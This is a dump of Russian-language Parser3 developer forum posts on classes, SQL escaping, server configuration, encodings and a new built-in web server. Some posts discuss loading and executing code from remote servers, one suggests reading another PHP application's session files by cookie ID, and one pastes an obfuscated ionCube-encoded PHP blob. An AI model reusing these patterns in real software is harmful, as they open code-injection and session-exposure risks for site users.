"85477","Не понимаю, вы решаете частную проблему или ищите универсальное решение? Если частную проблему, то решения предложены. autouse вызывается только когда класс не находится, если \"сторонние классы\" сейчас успешно подключаются, это продолжит работать. Если что-то общее - реализуйте свой @use, только понятно полноценно, а не в виде @use[a;b] ^use[$a]. Основа [url=\"https://github.com/artlebedev/parser3/blob/master/tests/366.html\"]уже дана[/url]. Там никто не мешает добавить в начале что-то типа $name[^process{$name}], и тогда написанное в @USE будет восприниматься как код, а не строка."
"85478","Интересовало универсальное решение.\
\
Спасибо, попробую разобраться."
"85479","Есть какой-нибудь вариант назначить базовый класс, а не объявлять в BASE, например, class1.setBase[BaseClass]?"
"85480","Сейчас такой возможности нет. Но в принципе можно добавить в reflection, если еще кому-нибудь такое будет полезно. Например расширить ^reflection:base[класс], добавив возможность ^reflection:base[класс;базовый класс]"
"85481","Структуру наследования можно собрать через process или перейти на более удачную архитектуру. И пользоваться не статическими классами, а объектами, делегированием и миксинами. :)"
"85482","Здравствуйте.\
Есть необходимость при получении названия класса в виде строки создавать экземпляр класса или вызывать статический метод с параметрами.\
\
Это можно сделать с помощью process, но правильное ли это решение или есть что-то получше?"
"85483","Здравствуйте.\
В доке есть указание ключа bind и упоминание оракла, но постгрес выдает ошибку, что недопустимый ключ.\
\
Должен быть человеческий способ подстановки параметров, чтобы не писать для каждого поля \"field\"='^taint[sql][$value]'.\
\
Каким образом правильно биндить параметры в запросах постгреса?"
"85485","1. ^taint[sql][] в 95% случаев писать не надо. В парсере отслеживается источник данных и тейнтинг применяется автоматически.\
2. Да, биндинг параметров реализован только в SQL драйвере для Oracle."
"85486","Если в классе нет конструктора, но нужно вызвать статический метод, то:\
[code]^reflection:create[название класса;статический метод;па;рам;етры][/code]\
вернет ошибку\
[code]method of 'название класса' is static and can not be used as constructor[/code]\
\
В reflection:method надо передавать класс, а не его название, но конструктора нет, поэтому нет класса."
"85487","Все данные приходят либо через аякс из JS, либо через сабмит формы, либо из своих переменных.\
\
В запросах вида\
[code]select * id from user where login='$login'[/code]\
не надо ничего экранировать на случай наличия в $login апострофа, слэша или SQL-инъекции?\
\
Можно поподробнее про оставшиеся 5%, когда нужно делать ^taint[sql][] (postgresql)?\
И где можно почитать про использование класса SQL, коннект которого описывается в cgi/auto.p?"
"85488","[quote]не надо ничего экранировать на случай наличия в $login апострофа, слэша или SQL-инъекции?[/quote]\
\
Не надо, оно само. Главное, не забывать '' вокруг $login. Вообще автоматический тейнтинг это сильная сторона парсера, в php например до сих пор только [url=\"https://www.php.net/manual/en/intro.taint.php\"]информируют о проблемах[/url].\
\
[quote]Можно поподробнее про оставшиеся 5%, когда нужно делать ^taint[sql][/quote]\
\
Например когда подставляется значение из кода (не из внешних данных) и в нем могут быть '.\
\
[code]$login[д'Артаньян]\
select * id from user where login='$login'[/code]\
\
Здесь д'Артаньян написано разработчиком, поэтому автоматического экранирования не будет.\
\
[quote]\
И где можно почитать про использование класса SQL, коннект которого описывается в cgi/auto.p?'[/quote]\
\
Это не класс, это просто хеш, в котором в частности задана таблица SQL-драйверов.\
https://www.parser.ru/docs/lang/?parserconfmethod.htm\
\
P.S. Чтобы экранировалось написанное разработчиком, можно делать так: $login[^taint[д'Артаньян]]"
"85489","[code]$m[^reflection:method[^reflection:class_by_name[имя класса];имя метода]]\
^m[args]\
[/code]"
"85490","Спасибо, работает."
"85491","При использовании @USE выходит ошибка can't set base while appending methods to class 'имя_класса'\
Если поменять на ^use[] внутри @auto[] то ошибка уже другая - undefined class in @BASE, хотя класс, обозначеный в @BASE точно есть. \
\
И наконец, эти ошибки появляются только в 3.4.5 для Linux; 3.4.5 для Windows такой ошибки не выдает. Структура файлов и каталогов сайта полностью идентична. \
\
Поиск выдает только этот тред https://www.parser.ru/forum/?id=80012  но приведенный там баг на линуксе не воспроизводится...\
\
Если это не баг а мой косяк, то подскажите плз как дальше разбирать эту ошибку, в каком направлении копать. Она не очень понятна мне."
"85492","@BASE должен быть указан до первого метода в классе 'имя_класса'. Почему проблемы нет под Windows - сложно сказать, не должно быть разницы. Будет архив с проблемным кодом - разберемся и расскажем."
"85494","https://ibb.co/Hh7YQT4\
нажимаю \"Install Plugin from Disk...\" выбираю zip-файл и вот, что...\
\
Или что-то не то делаю?"
"85497","Привет.\
\
Можно ли подключать классы/методы размещенные на других серверах?\
\
Какие тут могут быть риски?"
"85498","[quote]Можно ли подключать классы/методы размещенные на других серверах?[/quote]\
\
^curl:load[] + ^taint[as-is] + ^process[].\
\
[quote]Какие тут могут быть риски?[/quote]\
\
Если грузить по HTTP - теоретически могут поменять содержимое по дороге. Плюс появляется еще одна точка отказа (доступность внешнего сервера). Ну и с точки зрения производительности понятно это на порядок медленнее."
"85500","Изменив или подменив загружаемый код можно причинить серьёзный ущерб."
"85501","Пропустили букву t:\
[quote]Ideal for \"Hello, world!\" applicaion[/quote]"
"85502","Добавлю, что если в удаленном модуле есть @USE/^use или удаленный модуль использует автосборку класса MAIN, то это не пройдет или придется городить очень много костыле вокруг autouse или самим парсить классы и подключать удаленные модули «вручную». \
\
Чтобы такое сделать производительным и безопасным надо очень сильно повозиться и с настройками серверов и с кодом подключения модулей (как минимум, нужно кеширование). Не похоже, что игра стоит свеч. Если нам расскажут задачу, то можно подумать как решить её более простым и безопасным способом."
"85503","Задача в какой то мере обезопасить себя от кражи сервисов, которые временно устанавливаются на сервера заказчиков. \
Как вариант, который придумался, сделать сам сервис зависимым от какого то внешнего ресурса, который находится на моем личном сервере"
"85504","В таком случае, лучше настроить обмен данными между сервисом, который устанавливается на сервера заказчика, и сервисом на вашем сервере. А, не обмен кодом самого сервиса."
"85505","fixed,\
\
спасибо."
"85506","Вот такой простой скрипт test.html\
[code]@main[]\
$result[^hash::create[]][/code]\
ругается такой вот ошибкой:\
[quote]'main' method not found (0:0)[/quote]\
Причина понятна, но текст ошибки, имхо, некорректный. А должен быть как обычно наверно?:\
[quote]method_frame may not be overwritten with hash, store it to variable instead[/quote]\
с указанием позиции где это случилось"
"85507","Класс XNode, метод selectString. Под заголовком приведен пример кода и описание из метода selectNumber\
\
[quote]\
^node.selectNumber[XPath-query]\
\
This method returns result of XPath-query in the scope of specified node, if it is a number. If resulted value is not a number, method returns exception of type parser.runtime.\
[/quote]"
"85508","Столкнулся со странным глюком на новом сервере. \
Если в браузере адрес сайта указать: mysite.com/ - все работает.\
Если указать: mysite.com/[color=\"#ff0000\"]index.html[/color] - парсер обработчик не срабатывает и в браузере видно код\
\
mysite.com/cgi-bin/parser3.cgi -- проверку проходит:\
\
[code]Parser/3.4.5 (compiled on x86_64-unknown-linux-gnu)[/code]"
"85510","Скорее всего у хостера перед apache стоит nginx, который считает .html статикой и отдает напрямую. Если не настраивается, возможно придется переименовать файлы на парсере в .php. :)"
"85511","[code]# назначение обработчиком .html страниц:\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.cgi\
# запрет на доступ к .cfg и .p файлам:\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>[/code]"
"85512","На хостинге используется связка из серверов nginx и Apache. Сервер nginx обрабатывает запросы к статическому контенту и перенаправляет запросы к динамическому контенту на сервер Apache.\
\
Если требуется, чтобы для определённых статических файлов срабатывали директивы из .htaccess или эти файлы отдавались не напрямую, а, к примеру, генерировались скриптами сайта, то нужно удалить расширения этих файлов из списка статических, чтобы запросы доходили до сервера Apache."
"85513","[code]$years($now.year-$dr.year)\
^if($now.month < $dr.month || ($now.month == $dr.month && $now.day < $dr.day)){\
	^years.dec[]\
}\
$result($years)\
[/code]"
"85514","Решили провести небольшое учебное и наглядное пособие по механике HTTP и Парсер пришелся ко двору.\
\
Но дело было давно, и что-то на ходу не смог вспомнить (и увидеть в документации) можно ли на лету не только сгенерить картинку классом image но и отдать ее в тело ответа (не сохраняя предварительно на диск)?\
\
С простым файлом то все понятно, работает. А вот класс image, наверное, по причине непопулярности этого класса против более подходящих средств, типа либы ImageMagik, не развили? Или я просто после 4.5 часов \"скайпинга\" смотрю в книгу, вижу фигу?"
"85518","потому, что из пользовательского кода всегда есть и рефлексия и ввиду того что загрузка внешнего модуля, это код в пользовательском, то ничто не мешает перед вашим use/process, сразу после load вставить код сохранения на диск вашего \"секретного кода\", и даже если вы сделаете каскад таких подгрузок то все равно через рефлексию и перегрузку методов можно подменять из рантайма юзера ваш сценарий на лету и внедрять в него дебаг и сохранение кода. \
\
Единственный реальный вариант, это делать что-то значимое как сервис, и отдавать не код, а результат пользовательскому рантайму.\
\
Ну или на крайний вариант - скомпилить какой нить бинарник или байткод на питоне (.o) который будет значимо завязан к коду и machine id, да жаль Parser сам не умеет в байткод из коробки, как php или python"
"85522","Помню, что обсуждалось и вроде было реализовано в каком-то случае прототипное поведение класса в Парсер (что бывает очень удобно), но быстрый поиск по документации по слову \"прототип\" ничего не выдал.\
\
Попробовать сиюминутно не могу (пока не развернуто под рукой ничего с Парсером, но скоро будет)\
\
Рискну предположить, что если создаешь объект класса, а потом динамически пересоздаешь,переопределяешь или догружаешь,перегружаешь методы (если у класса включен OPTIONS partial) - то предыдущий объект сохраняет методы \"старого\" класса как по набору так и по содержанию? \
\
Или вообще не попал?\
Спасибо."
"85523","https://www.parser.ru/news/ (Абзац \"Скорректирована объектная модель...\")\
https://www.parser.ru/docs/lang/defineclass.htm - тут искать [3.4.5]"
"85527","Пояснение: есть очень старый (но громоздкий) legacy-сайт (в котором и html и код на парсере смешаны, плюс данные в базе лежат в cp1251)\
\
Сайт будет меняться, но возникла оперативная необходимость вставки стороннего js-скрипта (виджет удаленного сервиса) который генерит utf-8\
\
Выглядит это примерно как\
<script src=\"somesite.ru/some.js\"></script>\
 \
Как наименьшей кровью обыграть совмещение двух кодировок (если под наибольшей подразумевается перевод всего сайта на utf8)"
"85528","можно ли както вьіставить \"сколько ждать\" ответа от exec?\
\
бо у єтого внешнего скрипта таймаут ответа сильно превьішает стандартньій таймаут no response timed out у хттпьі\
поменять что либо во внешнем скрипте - возможности, к сожалению, нет (оно там ELF 64-bit LSB executable)\
\
// єтот скрипт делает внешний запрос по свему протоколу в закрьітую систему, и когда у него самого случается timed out, то все уже несколько поподпомерлО..."
"85529","ага: фокус не получился :)\
в консоли турецкая буква - нормальная, через веб - вопросик в ромбике\
\
\
[code]$lH[^file::exec[../.ext/script;$.charset[utf-8]]][/code]\
не помогает\
\
\
\
[code]$lH[^file::exec[../.ext/script;$.charset[utf-8]$.lang[en_US.UTF-8]]][/code]\
not safe environment variable\
\
заголовок ответа вроде как надо \
[quote]HTTP/1.1 200 OK\
Server: nginx\
Date: Tue, 20 Oct 2020 21:46:49 GMT\
Content-Type: text/html; charset=UTF-8\
Transfer-Encoding: chunked\
Connection: keep-alive\
Content-Encoding: gzip[/quote]"
"85530","Наприер, обернуть ваш «скрипт» через sh в вызов timeout."
"85531","Стоит запускать через промежуточный .sh скрипт. В нем же можно будет для теста сделать | tee -a script.log, чтобы убедиться, что там все в порядке с кодировкой."
"85533","в обертке сделал\
\
[quote]export LC_ALL=en_US.UTF-8\
export LANG=en_US.UTF-8\
export LANGUAGE=en_US.UTF-8[/quote]\
\
и все ответило как надо, \
оказьівается для парсера консольная (? или как правильно) кодировка не вьісталяется вообще"
"85536","\"a CGI script process in Apache has no locale environment settings - they are not part of the CGI specification\""
"85537","Видимо https://www.w3schools.com/tags/att_script_charset.asp? Только непонятно, при чем тут парсер..."
"85538","Точно, решение через атрибут вообще забылось, в голове крутились мысли что можно попробовать удаленно загрузить, перекодировать и вставить как локальный скрипт... но дальнейшая цепочка возможных вызовов/подгрузок могла бы сломаться.\
Спасибо"
"85539","Скопировал подсветку из Sublime2 в Sublime3, методы вроде подсвечиваются, а вот переменные ($var) нет, видимо какие-то бинды не сходятся с общим подходом в обычных темах. \
\
Добавление специальной цветовой темы P3 Tommorow проблему решило, но может кто-то заморачивался с подсветкой позднее, и имеет версию годную для дефолтных графических тем?"
"85540","Раньше помню единственный кто хорошо рендерил и не глючил с кодировкой это был ChmSee - но он с 2013 не поддерживается, и собирается с какими устаревшими либами и зависимостями, которые в общем \"без бутылки\" не удовлетворить не поломав себе весь dpkg к чертям похоже...\
\
Всякие нафталиновые форки тянущие xulrunner от Firefox тоже не взлетают чет.\
\
Пробовал всякие .jar софтины - та же песня с кодировками\
\
xchm - тоже в русскую кодировку не умеет\
archmage - питонячий конвертор - не конвертирует ваш chm-ник :) суровый контент Парсера с его синтаксисом не осиливает - выпадает на своей же регулярке (судя про traceback )\
\
Видел на форуме человек жаловался на несоответствие анг/ру доки (видимо пошел тем же путем - читать chm-en чтобы нивелировать баги в читалках... но дока не актуальная)"
"85541","Здравствуйте.\
[code]$h[^json:parse[{\"k1\":null, \"k2\":\"\"}]]\
^json:string[$h][/code]\
Получим:\
[code]{\"k1\":null, \"k2\":\"\"}[/code]\
При этом оба значения не пройдут проверку def, но только $h.k2 пройдет проверку is string.\
\
Каким образом можно узнать, что $h.k1 is null?"
"85542","null в парсере соответствует класс [url=\"https://www.parser.ru/docs/lang/?voidclass.htm\"]void[/url]. Значит можно или ^if($h.k1 is void), или например ^if($h.k1.CLASS_NAME eq 'void')."
"85543","\"Как обычно\" не получится, поскольку в самом присваивании ошибки нет (вдруг там следующей строчкой будет $result[string]). Неправильно только когда такой результат возвращается из метода. Теперь будет ругаться чуть более понятно:\
'main' is 'hash', it has no string representation"
"85545","Здравствуйте, подскажите пожалуйста как решить проблему с белым экраном.\
При этом в parser3.log ни чего нет."
"85546","[i]Как задать вопрос чтобы получить максимально полезный ответ?[/i]"
"85547","Добрый день,\
\
Ищу исполнителя, который создаст класс как в теме.\
\
Жду отклики на: 4newprojects@gmail.com\
\
Всем хорошего времени суток :)"
"85549","Предупреждение в консоли:\
В скором времени кука «auth.name» будет рассматриваться как межсайтовая по отношению к «https://mysite.ru/js/jquery-1.11.1.min.js», поскольку схемы не совпадают. Подскажите что это и чего ожидать?"
"85550","[code]https://mysite.ru/js/jquery-1.11.1.min.js[/code]\
v\
[code]/js/jquery-1.11.1.min.js[/code]\
\
\
Самому скрипту cookie в запросе не нужны, браузер ругается на несовпадение схем, видимо, сайт загружается по HTTP."
"85551","Может у кого тоже возникнут вопросы.\
На сайте используются относительные пути /js/jquery-1.11.1.min.js. По началу сайт открывался по протоколу http:// после перенастройки стал открываться по https:// почистил куки в браузере Firefox и консоль перестала ругаться, предупреждения исчезли."
"85552","Несколько раз подобное обсуждалось, но либо я запамятовал, либо раньше не замечал всей глубины картины:\
[code]@main[]\
$obj[^obj::create[]]\
\
^obj.print[$obj:lnk]\
\
@lnk[]\
operator\
\
\
@CLASS\
obj\
\
@OPTIONS\
locals\
\
@create[]\
\
@print[lnk]\
^lnk[]\
\
@lnk[]\
obj method[/code]\
\
Результат:\
[i]operator[/i]\
\
Понятно, что оператор — конструкция приоритетная, но чтобы параметры перебивать…\
\
Максимально стараюсь использовать классы и везде явно указываю класс или [i]$self[/i], но тут и это не поможет.\
\
Выходит, в данном случае вообще нет способа обратиться к параметру, а не к оператору.\
И появление оператора, одноимённого параметру метода, сломает код объекта."
"85553","[quote]указываю класс или $self, но тут и это не поможет.[/quote]\
\
Почему не помогает? Если написать ^self.lnk[], в результате будет \"obj method\". Что касается приоритета, наверное хотелось, чтобы ^if всегда значило именно ^if. Ну и опять же это только при вызове, при обращении к переменным идет обращение именно к локальной переменной..."
"85554","[quote]Если написать ^self.lnk[], в результате будет \"obj method\".[/quote]\
\
Это пример.\
\
На деле параметром передаётся метод другого объекта, недоступный иначе.\
\
[quote]Ну и опять же это только при вызове, при обращении к переменным идет обращение именно к локальной переменной...[/quote]\
\
У меня обратиться не получилось, да и помогло бы не сильно — везде не расставишь.\
\
[code]@print[lnk]\
$link[$lnk]\
^link[][/code]\
\
[quote]Что касается приоритета, наверное хотелось, чтобы ^if всегда значило именно ^if.[/quote]\
\
Операторы легко переопределяемы, наверное, это скорее плюс, чем минус.\
Но беззащитность инкапсулированного в объекте кода перед операторами пугает.\
\
Переопределение операторов на уровне параметров, кстати, могло бы быть полезно.\
\
То есть, есть мнение, что приоритет у аргументов должен быть максимальным.\
Если не брать в расчёт странные конструкции вида\
[code]@method[if;for;try][/code]\
, которые в любом случае контролируются разработчиком, особых последствий в голову не приходит."
"85555","Суть в том, что в случае ^if парсер не пытается искать переменную в текущем контексте, а возвращает оператор. В теории наверное можно разбить получение переменной на 2 части - получение в локальных переменных и все остальное, и вместо такого:\
\
 case OP::OP_GET_ELEMENT_OR_OPERATOR:\
  {\
    const String& name=stack.pop().string();\
    Value& ncontext=stack.pop().value();\
    if(Method* method=main_class.get_method(name)){ // looking operator of that name FIRST\
         if(!method->junction_template) method->junction_template=new VJunction(main_class, method);\
         stack.push(*method->junction_template);\
         break;\
    }\
    Value& value=get_element(ncontext, name);\
    stack.push(value);\
  }\
\
написать что-нибудь такое:\
\
 case OP::OP_GET_ELEMENT_OR_OPERATOR:\
  {\
    const String& name=stack.pop().string();\
    Value& ncontext=stack.pop().value();\
    if(Value& value=get_element_local(ncontext, name)){ // looking local variable of that name FIRST\
        stack.push(value);\
         break;\
    }\
    if(Method* method=main_class.get_method(name)){ // looking operator of that name SECOND\
         if(!method->junction_template) method->junction_template=new VJunction(main_class, method);\
         stack.push(*method->junction_template);\
         break;\
    }\
    Value& value=get_element(ncontext, name);\
    stack.push(value);\
  }\
\
Но это лишний виртуальный вызов в одном из самых проходных мест (+ реализация get_element_local в value и потомках), не уверен что проблема стоит пары процентов производительности. По мне так проще не определять в main мешающих методов. :)"
"85556","[quote]Суть в том, что в случае ^if парсер не пытается искать переменную в текущем контексте, а возвращает оператор. В теории наверное можно разбить получение переменной на 2 части - получение в локальных переменных и все остальное, и вместо такого:\
…\
написать что-нибудь такое[/quote]\
\
А нельзя, имея список локальных переменных, исключать их из поиска операторов вообще?\
Их не много и большинство вызовов не будет затронуто.\
\
Есть вариант с каким-нибудь префиксом a-la [i]$local:var[/i], но элегантность сомнительна.\
\
[quote]По мне так проще не определять в main мешающих методов.[/quote]\
\
Разумеется.\
\
Но:\
1. имена операторов не всегда подконтрольны и сходу известны — в системе может появиться сторонний код с операторами (плохая идея, тем не менее), что может вызвать проблемы далеко не сразу и приводить к крайне трудноуловимым ошибкам, особенно если оператор похож на метод и принимает похожие параметры;\
2. в процессе работы над кодом в классах можно случайно пересечься названиями параметров с уже имеющимися методами и, опять же, столкнуться с трудноуловимыми ошибками;\
3. переносимость кода непредсказуема.\
\
В pf2 мы с Олегом договорились для устранения подобных проблем везде использовать [i]$self[/i] и это помогает от конфликта методов фреймворка с операторами непредсказуемой среды, в которой может работать фреймворк, но в обсуждаемой ситуациями с параметрами и это не поможет.\
\
Фактически, это уязвимость. Хоть и редко проявляющаяся.\
\
В моём случае совпали имена [i]link[/i] метода генерации маршрутов модулей в pf2 и оператора в auto.p, выводящего ссылку файла стека необработанного исключения.\
Я, конечно, конфликты устраню, но прежних сухости и комфорта уже нет."
"85557","Эффективнее наверное можно сделать во время компиляции, добавив проверку в compile.y 374, что заданного имени нет в params_names и locals_names из строки 281. Минус - что поиск по массиву, а не хеш-лукап. Ну и не совсем понятно, как достучаться до метода в этом месте, наверное сохранять где-то надо. Сложно оценить, насколько это на время компиляции повлияет..."
"85558","[quote]Эффективнее наверное можно сделать во время компиляции, добавив проверку в compile.y 374, что заданного имени нет в params_names и locals_names из строки 281.[/quote]\
\
Звучит разумно.\
Разовая проверка при компиляции лучше проверок при вызовах.\
\
[quote]Ну и не совсем понятно, как достучаться до метода в этом месте, наверное сохранять где-то надо.[/quote]\
\
А в [i]params_names[/i] и [i]locals_names[/i] нет методов?\
Не совсем понимаю почему именно с методами сложность.\
\
[quote]Сложно оценить, насколько это на время компиляции повлияет...[/quote]\
\
Согласен.\
\
Но и оставлять как есть нежелательно."
"85559","Это были по коду парсера замечения. Метод это объект C++, в котором лежат эти два массива. На текущий момент он хранится в локальной переменной."
"85579","а есть ли какой КРАСИВЬІЙ функционал?\
\
дано: некая UI на php с логовалкой и чемтотам полезньім\
єта система частично обращается к API на парсер (потому что гладиолус)\
на парсер cookie PHPSESSID - прилетает\
к БД єтого UI с парсера доступ есть, \
но вот сия UIя не пишет в БД соотношений user=PHPSESSID (вероятно полностью полагаясь на $_SESSION )\
\
зато у парсера есть теоретический доступ к \"тому самому\" php.\
\
пока что есть мьісль организовать для парсера доступ к каталогу с темповьіми файлам сессий \"тогосамого\" php и парсить их вручную\
\
нуоттобишь: \
\
открьівать файльі сессий\
/var/lib/php5/sessions/sess_${cookie:PHPSESSID}\
\
вида\
__flash|a:0:{}__id|i:123;__expire|i:1205926070;\
\
и вьітягивать из них данньіе.\
\
но что-то вьіглядит єто както \"корявченко\""
"85580","Получаете запрос в PHP, авторизуете ползхователя и прокидываете запрос в API на Парсере. Потому через ПХП отдаете ответ. АПИ на Парсере вешаете на localhost, а лучше сделайте авторизацию каким-нибудь токеном."
"85581","В том же Битриксе можно переключиться на хранение сессий в базе или memcached..."
"85583","тобто\
чтото типа\
\
[code]\
<?php\
 if(session_id() != \"\"){\
   session_start();\
   $ch = curl_init();\
   curl_setopt($ch, CURLOPT_URL, \"localhost:8888\");\
   curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\
\
   $lPOST = json_encode( array( 'post' => $_POST \
                               ,'get'  => $_GET\
                               ,'session' => $_SESSION ) );\
   curl_setopt( $ch, CURLOPT_POSTFIELDS, $lPOST );\
\
   $output = curl_exec($ch);\
\
   curl_close($ch);     \
 }else{\
   $output = json_encode(array('result' => 'error', 'error' => 'auth req'));\
 }\
\
 echo $output;\
?>\
[/code]\
\
но вот чето кажется что тогда надо примерно в два раза увеличивать количество  php-fpm ов и иже с ними...\
по сравнению с \"тупо воровать сессионньіе кеш файльі\" у php....\
\
или я не прав?"
"85587","В php \"из коробки\" есть возможность замены механизма сохранения сессий на свою:\
\
$HSH = new HafSessionHandler(\"connection.session.dbxlink.php\");\
session_set_save_handler( $HSH, TRUE );\
\
При этом никак не надо менять остальной код, работающий с сессиями."
"85589","[code]<?php //001cb\
// *************************************************************************\
// *** PHP ion \
// **\
if(!extension_loaded('ionCube Loader')){$__oc=strtolower(substr(php_uname(),0,3));$__ln='ioncube_loader_'.$__oc.'_'.substr(phpversion(),0,3).(($__oc=='win')?'.dll':'.so');if(function_exis\
ts('dl')){@dl($__ln);}if(function_exists('_il_exec')){return _il_exec();}$__ln='/ioncube/'.$__ln;$__oid=$__id=realpath(ini_get('extension_dir'));$__here=dirname(__FILE__);if(strlen($__id)\
>1&&$__id[1]==':'){$__id=str_replace('\\\\','/',substr($__id,2));$__here=str_replace('\\\\','/',substr($__here,2));}$__rd=str_repeat('/..',substr_count($__id,'/')).$__here.'/';$__i=strlen($__\
rd);while($__i--){if($__rd[$__i]=='/'){$__lp=substr($__rd,0,$__i).$__ln;if(file_exists($__oid.$__lp)){$__ln=$__lp;break;}}}if(function_exists('dl')){@dl($__ln);}}else{die('The file '.__FI\
LE__.\" is corrupted.\\n\");}if(function_exists('_il_exec')){return _il_exec();}echo(\"Site error: the \".(php_sapi_name()=='cli'?'ionCube':'<a href=\"http://www.ioncube.com\">ionCube</a>').\" PH\
P Loader needs to be installed. This is a widely used PHP extension for running ionCube protected PHP code, website security and malware blocking.\\n\\nPlease visit \".(php_sapi_name()=='cli\
'?'get-loader.ioncube.com':'<a href=\"http://get-loader.ioncube.com\">get-loader.ioncube.com</a>').\" for install assistance.\\n\\n\");exit(199);\
?>\
HR+cP+b/LqhllQTjzk76QJtLOmuRrs7gmi6T7v+uyg5bG6nKvEgQSfFH4NBUE/KDxlyAkXjU6ct8\
aU04aAH0MUHMmGj7T9um2MnyC9B9Tfwz1vi20byXJh0IUG1HEPltgVNvJfh1x8ZtW1pHPtYizSc1\
VROc0s68RnYZVcG6XhV6Qj7PSs1vtVAz4SP/eYE8xQt2Sk2KXyzrHfHtVWPM1N7DMhsJodXH2vnr\
UGJCgKZ/VsaeiewKLKsrdjvCUTr+kFUtfSwh1eu6vAk0QX8eZWBNe8rNcoYNIwZV50xzNYaMppE4\
a+icdd33yrxdmxdXlRh40w1Lyrb9sN3gqB6BuDnccNtKTuGUAsvPT3O73Q/U4hrvaKSOnD/1vVqH\
aU04aAH0MUHMmGj7T9um2MnyC9B9Tfwz1vi20byXJh0IUG1HEPltgVNvJfh1x8ZtW1pHPtYizSc1\
ROCo2Q/5J6XmBbtprp+2Ss/orIj4j7zZPdEMZFMIEl/N3pJW49mGvmz+KsfAKwz+ih9zF/onKgJu\
fbTl36hdUnngzk+X+w1lXvQhbiVK4UQG1hc5xNy9WaVv2bEWmb6n8U5D/5JG+HwPu4alnxlklRuH\
Ab7bBOb/A9zgJNLWmjeG6cSC5MIUGQoZcXlQPK6UOxthlqOL7jjpQG/f3d1UsSw/iOK86GkTgGdF\
WF5qIKq/x5L7Z6r/UEibBqLq1fKuHVeJv/QD9HR4LuGs2+bYnTKtVwViCALyY42bEAJBITIlNvdF\
.....\
....[/code]\
\
если даже \"пробел\" где воткнуть - код вьілетает с ором \"попьітка взлома - идите лесом\""
"85590","Если даже так нельзя, то фу такими быть. :)"
"85593","Как убрать из ссылки всё что идёт после знака \"?\"\
Например вот из такой: https://www.mysite.ru/news/articles.html?year=2000\
Получить такую: https://www.mysite.ru/news/articles.html\
Ткните пальцем где это есть в [url=\"https://www.parser.ru/docs/lang/\"]Документация[/url]"
"85594","[code]$link[https://www.mysite.ru/news/articles.html?year=2000][/code]\
\
----------------------------\
\
[code]$link[^link.left(^link.pos[?])][/code]\
\
или\
\
[code]$link[^link.split[?;h]]\
$link[$link.0][/code]\
\
или\
\
[code]$link[^link.match[\\?.*;;]][/code]\
\
----------------------------\
\
[code]$link[/code]\
\
https://www.parser.ru/docs/lang/stringltrt.htm\
https://www.parser.ru/docs/lang/stringsplit.htm\
https://www.parser.ru/docs/lang/stringmatchreplace.htm\
\
Здесь принято показывать, что вы сделали самостоятельно и что именно не получилось."
"85596","[code]$link[^link.match[\\?.*;;?]][/code]\
\
Без негативной ретроспективной проверки.\
Хотя, задача странная."
"85598","В [url=\"/download/nightly/\"]ночных сборках[/url] выложена версия парсера со встроенным веб-сервером. В первую очередь для упрощения локальной разработки (не нужно настраивать apache), но можно использовать и в production, например в сочетании с nginx.\
\
Самый простой вариант использования - встать в папку сайта и запустить cgi\\parser3.exe -p 8080 (для Windows). В этом случае вызовется метод httpd-main, который добавлен в конфигурационный auto.p и в котором реализована вся логика работы веб-сервера (70 строк, если не считать настроек). Настройки сейчас такие:\
\
[code]$httpd[\
        $.parser[(\\.html^$)] - расширения, который должен обрабатывать парсер\
        $.index[index.html] - индексный файл. Для эффективности один, в коде ниже можно добавить еще проверок.\
#       $.autoindex(true) - при отсутствии индексного файла показывать листинг директории\
        $.404[$httpd-404] - как обрабатывать 404 ошибку. Можно вызывать метод\
#       $.404[/_doc.html] - а можно определенный файл\
        $.auth[ $.url[^^/\\.?admin/] $.login[admin] $.password[test] $.realm[site administration] ] - можно закрыть раздел авторизацией.\
        $.deny[(/\\.ht[^^/]+|\\.p|\\.cfg)^$] - к таким файлам доступ запрещен.\
        $.403[Permission denied] - обработчик запрещенных файлов\
        $.memory(64000) - вызывать сборщик мусора после аллокации каждых 64Mb\
        $.log[/access.log] - логгировать ли приходящие запросы\
]\
[/code]\
В сборках для Windows конфигурационный auto.p обновлен, для сборок под Unix его можно взять [url=\"https://www.parser.ru/f/1/download/parser3conf_1_6_20201218_unix.tar.gz\"]здесь[/url] или на [url=\"https://github.com/artlebedev/parser3/blob/master/etc/auto.p.in\"]Github[/url].\
\
У веб-сервера 3 режима работы - последовательная обработка приходящих запросов (по умолчанию), параллельный (на каждый запрос создается отдельный процесс - работает только под Unix), многопоточный (на каждый запрос создается отдельный поток). Можно настроить в @conf, как и таймаут входящих соедиений.\
\
[code]$HTTPD[\
#       $.mode[parallel]\
#       $.mode[threaded]\
        $.timeout(4)\
]\
[/code]\
Приветствуются замечания, багрепорты и дополнения по логике работы веб-сервера.\
\
В процессе реализации веб-сервера была достаточно сильно переписана логика обработки запросов в парсере, добавлены некоторые мелочи (например возможность изменять $form:<поле>). Пишите, если заметите несовместимости.\
\
Помимо этого в ^image::measure[] добавлена поддержка webp и mp4. Прочие подробности в [url=\"http://cvsview.parser.ru/cgi/viewcvs.cgi/parser3/ChangeLog?view=markup\"]ChangeLog[/url] парсера или спрашивайте."
"85599","A-la [i]http[/i], а не размазывать по [i]MAIN[/i]'у?\
И префикс [i]httpd-[/i] станет не нужен.\
\
Было бы удобно расширять, создавать разные экземпляры."
"85600","Надо только решить, куда деть @auto, который исторически в конце auto.p, и там его просто находить. Можно разместить после @conf, в конце @conf (и убрать @uato). Хотя мне симпатичнее в начале auto.p перед @conf (хотя фактически @auto вызывается после, но в общем никто не обещал связь между порядком описания методов и порядком их вызова). Про разные экземпляры не понял, вызов ^httpd:main (или лучше ^Httpd?) будет статическим. Код парсера про другие запросы ничего не знает."
"85601","[quote]^httpd:main (или лучше ^Httpd?)[/quote]\
\
[i]httpd[/i], классов с заглавной буквы в Парсере нет (и это хорошо).\
Я бы и «d» убрал, демоном служит сам Парсер, а не класс.\
\
[quote]Про разные экземпляры не понял, вызов будет статическим. Код парсера про другие запросы ничего не знает.[/quote]\
\
А если звать динамически, передавая опции в конструктор?\
[code]\
$MAIN:httpd[\
	$.8080[^httpd::create[\
		$.parser[(\\.html^$)]\
		$.index[index.html]\
		…\
	]]\
	$.8888[^httpd::create[\
		$.parser[(\\.html^$)]\
		$.index[index-8888.html]\
		…\
	]]\
]\
[/code]\
\
Тогда можно описать объекты в auto.p, с привязкой к портам, и можно будет поднимать несколько серверов."
"85602","d лишним не считаю, поскольку класс реализует именно логику веб-сервера.\
\
